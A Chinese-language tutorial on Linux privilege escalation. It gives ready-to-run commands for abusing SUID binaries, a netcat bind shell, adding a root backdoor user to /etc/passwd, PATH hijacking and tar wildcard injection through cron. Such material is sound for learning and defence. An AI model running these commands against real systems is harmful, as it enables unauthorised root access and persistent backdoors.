信息搜集自动化脚本
信息收集:LinEnum、linuxprivchecker
漏洞探针:linux-exploit-suggester、linux-exploit-suggester2
SUID提权
suid给予文件的一个特殊类型的文件权限,可以让文件以 拥有者的身份 运行。
如下图test文件有S权限,而且拥有者是root,那么当它运行时,就是以root身份运行的。

已知的可用来提权的 linux可行性的文件 列表如下:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
也就是说,如果目标机里给以上文件赋予了suid权限,我们就可以用对应命令来提权。
首先就是要找到被赋予了suid的全部文件,以下命令可以发现系统上运行的所有SUID可执行文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
也可以使用 sudo -l 命令列出当前用户可执行的命令
使用后如下图,发现了find命令。

find
touch 123 #随便建立一个文件
find 123 -exec "/bin/sh" \; #提权,以root身份执行find命令,参数exec可以执行命令,这里直接调出sh的shell。
find test -exec netcat -lvp 5555 -e /bin/sh \; #nc反弹shell
nmap
ls -la /usr/local/bin/nmap 让我们确认nmap是否设置了SUID位。
- nmap(2.02-5.21)存在交换模式,可利用提权,我们可以在此模式下以交
互方式运行nmap,从而可以转至shell。如果nmap设置了SUID位,它将以root特权运行,我们可以通过其交互模式访问’root’shell。
nmap –interactive #运行nmap交互模式
!sh #我们可以从nmap shell转到系统shell
msf中的模块为:exploit/unix/local/setuid_nmap
- 使用
--script参数:
echo "os.execute('/bin/sh')" > /tmp/shell && sudo nmap --script=/tmp/shell
vi/vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
- 打开vim,按下ESC
:set shell=/bin/sh
:shell
- 可能效果好一点:
sudo vim -c '!sh'
bash
以root身份打开一个bash shell:
bash -p
less
没啥用
less /etc/passwd
!/bin/sh
more
没啥用
more /home/pelle/myfile
!/bin/bash
cp
覆盖 /etc/shadow 或 /etc/passwd
cat /etc/passwd >/tmp/passwd
openssl passwd -1 -salt hack hack123 #使用openssl加密密码
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> /tmp/passwd #按照root格式写入passwd
cp /tmp/passwd /etc/passwd
su hack #切换用户
hack123 #密码
mv
覆盖 /etc/shadow 或 /etc/passwd
cat /etc/passwd >/tmp/passwd
openssl passwd -1 -salt hack hack123 #使用openssl加密密码
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> /tmp/passwd #按照root格式写入passwd
mv /tmp/passwd /etc/passwd
su hack #切换用户
hack123 #密码
nano
nano /etc/passwd
ctrl+r
ctrl+x
reset; sh 1>&0 2>&0
内核漏洞
内核信息搜集
一些基本命令收集一些Linux内核信息
| 命令 | 结果 |
|---|---|
| uname -a | 打印所有可用的系统信息 |
| uname -m | Linux内核体系结构(32或64位) |
| uname -r | 内核发布 |
| uname -n 要么 hostname | 系统主机名 |
| cat /proc/version | 内核信息 |
| cat /etc/*-release 要么 cat /etc/issue | 发行信息 |
| cat /proc/cpuinfo | CPU信息 |
| df -a | 文件系统信息 |
| dpkg –list 2>/dev/null| grep complier |grep -v decompiler 2>/dev/null && yum list install ‘gcc*’ 2>/dev/null| grep gcc 2>/dev/null | 列出可用的编译器 |
搜索漏洞
工具:searchsploit、msf
把exp下载下来,按照步骤运行即可提权。
如果可以避免,请不要使用内核漏洞利用。如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。
环境变量
配合suid进行的环境变量提权。
使用echo命令就能轻易的查看和当前用户相关的环境变量存放的一些路径
echo $PATH
例如有demo.c这个文件,文件内容如下,你可以看到,我们调用了ps命令,即系统二进制文件
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:
gcc demo.c -o shell #编译
chmod u+s shell #赋权限
ls -la shell #查看文件信息
那就是以拥有者的身份去运行。它使用了ps命令(查看进程命令),也就是以拥有者的身份使用ps命令。
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到demo.c编译之后的shell文件也在其中。
因为在实战中我们不知道shell文件执行了什么命令,所以我们可以运行一下shell
./shell
就能发现它是用了查看进程的ps命令。
那我们如果重写ps命令文件,然后把它加入环境变量,那么shell文件不就是执行的我们指定的命令吗。
cd /tmp #一般到/tmp下操作
echo "/bin/bash" > ps #新建一个ps文件,写入/bin/bash
chmod 777 ps #给权限
echo $PATH #查看环境变量
export PATH=/tmp:$PATH #导入环境变量
./shell #再执行文件,提权成功
参考:Linux环境变量提权 - 先知社区 (aliyun.com)
计划任务
参考:利用定时任务(Cronjobs)进行Linux提权 - 先知社区 (aliyun.com)
linux系统中/etc/crontab这个文件就是类似于存储定时任务的内容的文件。结构如下图:

前面的*是年月日时间这些参数,root是执行人,后面是执行的命令。
Crontab Tar Wildcard注入
- Crontab:计划任务
- Tar:tar打包命令
- Wildcard:通配符
不安全的定时任务备份命令:
* * * * * root cd /home/kali/test;tar czf /tmp/tmp/backup.tar.gz *
以root身份使用tar命令进行打包,最后有一个*通配符 ,会匹配所有的文件名。
我们执行以下命令:
echo 'cp /bin/bash /tmp/tmp/bash;chmod +s /tmp/tmp/bash' > test.sh #创建恶意脚本
echo "" > "--checkpoint-action=exec=sh test.sh" #新建文件名为--checkpoint-action=exec=sh test.sh的文件
echo "" > --checkpoint=1 #新建文件名为--checkpoint=1的文件
解释:
tar czf /tmp/tmp/backup.tar.gz *
变成了↓
tar czf /tmp/tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh --checkpoint=1
文件名变成tar命令的参数,从而执行了我们建立的test.sh恶意文件,所以就在tmp目录下生成suid的bash文件。
等一分钟后就会在/tmp/tmp目录下发现有个bash文件,执行:
./bash -p
然后就提权成功了。